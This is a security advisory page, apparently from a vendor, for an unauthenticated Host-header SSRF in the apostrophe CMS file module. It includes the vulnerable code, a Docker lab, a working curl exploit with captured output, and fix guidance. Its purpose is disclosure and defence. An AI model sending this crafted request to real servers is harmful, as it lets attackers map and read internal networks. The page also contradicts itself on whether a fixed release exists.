GHSA-34pj-2622-jvxq
LOWGHSA-34pj-2622-jvxq is a low-severity (CVSS 3.7) Server-Side Request Forgery (SSRF) vulnerability in apostrophe. O3 Security confirms whether GHSA-34pj-2622-jvxq is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
@apostrophecms/file pretty-URL Vulnerable to Unauthenticated SSRF via Host header
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
apostrophenpmDescription
Summary
When prettyUrls: true is enabled on @apostrophecms/file (a documented SEO
feature for serving uploaded files at clean URLs), the public pretty-URL
handler builds the upstream URL using the raw Host HTTP request header:
proxyUrl = `${req.protocol}://${req.get('host')}${uglyUrl}`
That URL is then fetch'ed and the response body + headers are streamed
straight back to the requester. Because Host is fully attacker-controlled,
an unauthenticated remote attacker can pivot the apostrophe process to
issue outbound HTTP requests against any host it can reach on the private
network. The path component is constrained to
/uploads/attachments/<cuid>-<slug>.<ext> (built from a local-DB lookup),
which keeps the impact narrow: cross-instance data exfiltration is
neutralised by cuid uniqueness, but blind-SSRF residuals remain
(network-topology mapping via response-code / timing differences and
verbose proxy/WAF 404 body disclosure). Verified on [email protected]
(latest); no fixed release exists.
- Affected:
apostrophe <= 4.30.0when@apostrophecms/fileis configured withprettyUrls: trueand uploadfs is local (the default; S3/CDN deployments produce an absoluteuglyUrland are not affected).
Details
modules/@apostrophecms/file/index.js (excerpt; the public GET route
registered when prettyUrls: true):
if (!self.options.prettyUrls) return;
return {
get: {
async [`${self.options.prettyUrlDir}/*`](req, res) {
const matches = (req.params[0] || '').match(/^([^.]+)\.\w+$/);
if (!matches) return res.status(400).send('invalid');
const [ , slug ] = matches;
if (slug.includes('..') || slug.includes('/')) {
return res.status(403).send('forbidden');
}
const file = await self.find(req, {
slug: `${self.options.slugPrefix}${slug}`
}).toObject();
if (!file) return res.status(404).send('not found');
const uglyUrl = self.apos.attachment.url(file.attachment, { prettyUrl: false });
const proxyUrl = uglyUrl.startsWith('/')
? `${req.protocol}://${req.get('host')}${uglyUrl}` // <-- sink
: uglyUrl;
return await streamProxy(req, proxyUrl, { error: self.apos.util.error });
}
}
};
lib/stream-proxy.js (excerpt):
module.exports = async function(req, url, { error }) {
const res = req.res;
if (url.startsWith('/')) url = `${req.baseUrl}${url}`;
let response;
try { response = await fetch(url); } // <-- attacker-steered fetch
catch (e) { return send502(e); }
for (const header of ['content-type','etag','last-modified','content-disposition','cache-control']) {
const v = response.headers.get(header);
if (v != null) res.header(header, v);
}
res.status(response.status);
response.body.pipeTo(new WritableStream({ write(c){ res.write(c) }, close(){ res.end() }, ... }));
};
req.get('host') returns the unvalidated Host HTTP header from the request.
Express does not validate or restrict it, and apostrophe does not check the
constructed proxyUrl against an allowlist. The upstream's body and
content-type are forwarded verbatim — so any response the targeted host does
return at the constrained path will reach the attacker. In practice the path
constraint (/uploads/attachments/<cuid>-<slug>.<ext>) and cuid uniqueness
mean meaningful body exfiltration only occurs against verbose-404 / banner-
leaky proxies; against most internal services this degenerates to blind
SSRF (response-code + timing side channels).
Prerequisites are minimal: prettyUrls: true (a documented production SEO
option) + at least one file uploaded with a known slug. Slugs are publicly
enumerable in normal CMS use (file URLs appear in page content).
Distinct from the only published apostrophe SSRF advisory,
GHSA-pr28-mf3q-qpg6 ("Authenticated SSRF in rich-text widget import via
@apostrophecms/area validate-widget"), which is authenticated and lives in a
completely different module/route. This finding is unauthenticated, in
@apostrophecms/file, via the Host header.
PoC
Three services on an isolated Docker network: mongo, internal (returns a
fake secret, never exposed to the host), apos:3000 (the only port the
host can reach). The host attacker proves it cannot reach internal
directly, then exfiltrates internal's response via one crafted request to
apos.
app.js (normal apostrophe site, documented option only):
require('apostrophe')({
shortName: 'apos-ssrf-poc',
autoBuild: false,
modules: {
'@apostrophecms/express': { options: { session: { secret: 'x' }, port: 3000 } },
'@apostrophecms/db': { options: { uri: process.env.APOS_MONGODB_URI } },
'@apostrophecms/asset': { options: { autoBuild: false, publicBundle: false, watch: false, hmr: false } },
'@apostrophecms/file': { options: { prettyUrls: true, prettyUrlDir: '/files' } },
'poc-seed': {} // seeds one file doc on boot (= what an admin does via the upload UI)
}
});
docker-compose.yml:
services:
mongo: { image: mongo:7, networks: [poc] }
internal:
image: python:3.12-slim
command: ["python","-c","import http.server,socketserver\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200);self.send_header('content-type','text/plain');self.end_headers()\n self.wfile.write(b'INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2\\n')\nsocketserver.TCPServer(('0.0.0.0',80),H).serve_forever()"]
networks: [poc]
apos:
build: .
environment: { APOS_MONGODB_URI: mongodb://mongo:27017/apos-ssrf-poc }
depends_on: [mongo, internal]
ports: ["3000:3000"]
networks: [poc]
networks: { poc: { driver: bridge } }
exploit.sh (unauthenticated attacker on the host):
# 1. Prove the internal target is not reachable from the host
curl --max-time 2 -s http://internal/ || echo "(unreachable, as expected)"
# 2. ATTACK: same pretty URL, attacker-supplied Host header
curl -sS -H 'Host: internal' "http://127.0.0.1:3000/files/poc.pdf"
Build & run:
docker compose build && docker compose up -d && ./exploit.sh
Observed output ([email protected], clean stack):
[probe] confirm the internal target is NOT reachable from the host:
curl: (6) Could not resolve host: internal
[normal] same pretty URL, normal Host header (Host: apos):
HTTP=502 bytes=49 content-type=text/html; charset=utf-8
upstream media error fetching data for pretty URL
[ATTACK] pretty URL with attacker-supplied Host header pointing at the private 'internal' service:
HTTP=200 bytes=64 content-type=text/plain; charset=utf-8
[ATTACK] response body received by the attacker:
INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2
RESULT: VULNERABLE — unauthenticated attacker exfiltrated private internal data via apostrophe's @apostrophecms/file pretty-URL SSRF (Host-header injection).
The internal service is unreachable from the host, but apostrophe fetches
it on the attacker's behalf and pipes the response body — secret included —
straight back over the same HTTP response.
Impact
Unauthenticated remote SSRF, but the path component is constrained to
/uploads/attachments/<cuid>-<slug>.<ext> (built from a local-DB lookup
on a slug the attacker already had to know). That constraint plus cuid
uniqueness rules out the cases I originally listed:
- Cloud metadata is not reachable — AWS IMDS
(
/latest/meta-data/...), GCP (/computeMetadata/v1/...), and Azure (/metadata/...) all live at fixed paths that don't overlap with/uploads/attachments/.... Same for Redis admin, Elasticsearch, and most internal API surfaces. - Cross-instance data exfiltration is also ruled out. For an internal target (another apos instance, MinIO bucket, etc.) to serve a body at this path, it would need the exact local cuid + slug, which realistically only happens when the target restored / shares the public site's data — in which case the same content is reachable via the front door anyway. Apostrophe also won't construct a pretty URL for archived / restricted media, closing the older-snapshot edge case.
What remains is blind-SSRF residual:
- Network-topology mapping via response-code or response-time differences across internal hosts.
- Banner / version disclosure from verbose reverse-proxy or WAF 404 bodies.
- Bypassing network egress controls — outbound requests originate from the apostrophe server rather than the attacker.
The attack requires only the public pretty-URL endpoint and one publicly-known file slug, both trivially available in normal CMS operation.
Recommended fix
Stop deriving the upstream URL from the request Host header. Two
complementary changes:
-
In
modules/@apostrophecms/file/index.js(the lines that buildproxyUrl), use a server-trusted absolute base URL (e.g.,apos.baseUrlor the configured site URL) instead ofreq.get('host'):const proxyUrl = uglyUrl.startsWith('/') ? `${self.apos.baseUrl || req.baseUrl}${uglyUrl}` : uglyUrl; -
In
lib/stream-proxy.js, enforce a strict origin allowlist (the configured apostrophe base URL + any configured CDN host) before callingfetch. Defence in depth: future callers ofstreamProxycannot accidentally reintroduce the gap.
A regression test that sets Host: 169.254.169.254 (or any non-configured
host) on /files/<slug>.<ext> and asserts the upstream fetch is not
issued / the response is a 4xx would lock this down.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | apostrophe | all versions | 4.31.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for apostrophe. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update apostrophe to 4.31.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-34pj-2622-jvxq is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-34pj-2622-jvxq is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-34pj-2622-jvxq. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-34pj-2622-jvxq in your dependencies?
O3 detects GHSA-34pj-2622-jvxq across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.